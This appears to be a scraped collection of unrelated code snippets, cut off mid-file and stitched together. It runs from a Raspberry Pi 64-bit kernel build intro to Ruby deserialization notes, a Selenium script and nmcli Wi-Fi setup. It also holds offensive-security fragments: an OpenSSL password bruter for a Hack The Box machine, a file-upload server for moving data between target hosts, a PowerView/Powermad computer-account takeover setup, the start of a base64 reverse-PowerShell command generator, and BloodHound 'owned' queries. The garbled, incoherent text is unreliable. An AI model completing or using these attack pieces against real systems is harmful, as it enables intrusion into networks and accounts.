Mane manesec

The Raspberry Pi foundation have now released a beta version of an official 64-bit Kernel which can be installed using the rpi-update script. The rpi-update script can be found at https://github.com/Hexxeh/rpi-update/blob/master/rpi-update or through the Raspbian repositories.

Introduction

The objective of these instructions is to build a stock 64bit Linux Kernel for use on the Raspberry Pi 3B on a Debian x64 machine (Windows Subsystem for Linux in my case), and deploy on the Raspberry Pi.

Notes:

Transfer to Pi is using my NAS in this example, replace with shared drive/memory stick etc. as required.
- (N: drive on Windows and /mnt/NAS on Linux in this example).
For a specific Kernel version replace the 4.19 with the wanted version in the git clone command.

Based on excellent write-up from https://www.elttam.com.au/blog/ruby-deserialization/

Doesn't work to use YAML.dump(payload) in the above script. This only produces the following YAML, which is worthless:

--- !ruby/object:Gem::Requirement
requirements:
- - ">="
  - !ruby/object:Gem::Version
 version: '0'

	# see rkengler.com for related blog post
	# https://www.rkengler.com/how-to-capture-network-traffic-when-scraping-with-selenium-and-python/

	import json
	import pprint

	from selenium import webdriver
	from selenium.webdriver.common.desired_capabilities import DesiredCapabilities

	capabilities = DesiredCapabilities.CHROME

	#!/bin/bash
	### 0xc4s OpenSSL bruter for HTB's 'Hawk'

	# Declare wordlists
	wordlist = '/usr/share/wordlists/rockyou.txt'

	# Declare array of possible ciphers (based on common ones from 'openssl help')
	ciphers=(
	-aes-256-cbc
	-aes-128-cbc

	#!/usr/env python3
	########################################################################
	#
	# Simple HTTP server that supports file upload for moving data around
	# between boxen on HTB. Based on a gist by bones7456, but mangled by me
	# as I've tried (badly) to port it to Python 3, code golf it, and make
	# It a little more robust. I was also able to strip out a lot of the
	# code trivially because Python3 SimpleHTTPServer is a thing, and the
	# cgi module handles multipart data nicely.
	#

	# nmcli con add type wifi ifname wlp3s0 con-name work-wifi ssid work-ssid
	# nmcli con edit id work-wifi
	nmcli> set ipv4.method auto
	nmcli> set 802-1x.eap peap
	nmcli> set 802-1x.phase2-auth mschapv2
	nmcli> set 802-1x.identity myusername
	nmcli> set 802-1x.password mypassword
	nmcli> set wifi-sec.key-mgmt wpa-eap
	nmcli> save
	nmcli> activate

	filter Expand-DefenderAVSignatureDB {
	<#
	.SYNOPSIS

	Decompresses a Windows Defender AV signature database (.VDM file).

	.DESCRIPTION

	Expand-DefenderAVSignatureDB extracts a Windows Defender AV signature database (.VDM file). This function was developed by reversing mpengine.dll and with the help of Tavis Ormandy and his LoadLibrary project (https://github.com/taviso/loadlibrary). Note: Currently, "scrambled" databases are not supported although, I have yet to encounter a scrambled database. Thus far, all databases I've encountered are zlib-compressed.

	# import the necessary toolsets
	Import-Module .\powermad.ps1
	Import-Module .\powerview.ps1

	# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
	whoami

	# the target computer object we're taking over
	$TargetComputer = "primary.testlab.local"

	#!/usr/bin/env python3
	#
	# generate reverse powershell cmdline with base64 encoded args
	#

	import sys
	import base64

	def help():
	print("USAGE: %s IP PORT" % sys.argv[0])

	{
	"queries": [{
	"name": "List all owned users",
	"queryList": [{
	"final": true,
	"query": "MATCH (m:User) WHERE m.owned=TRUE RETURN m"
	}]
	},
	{
	"name": "List all owned computers",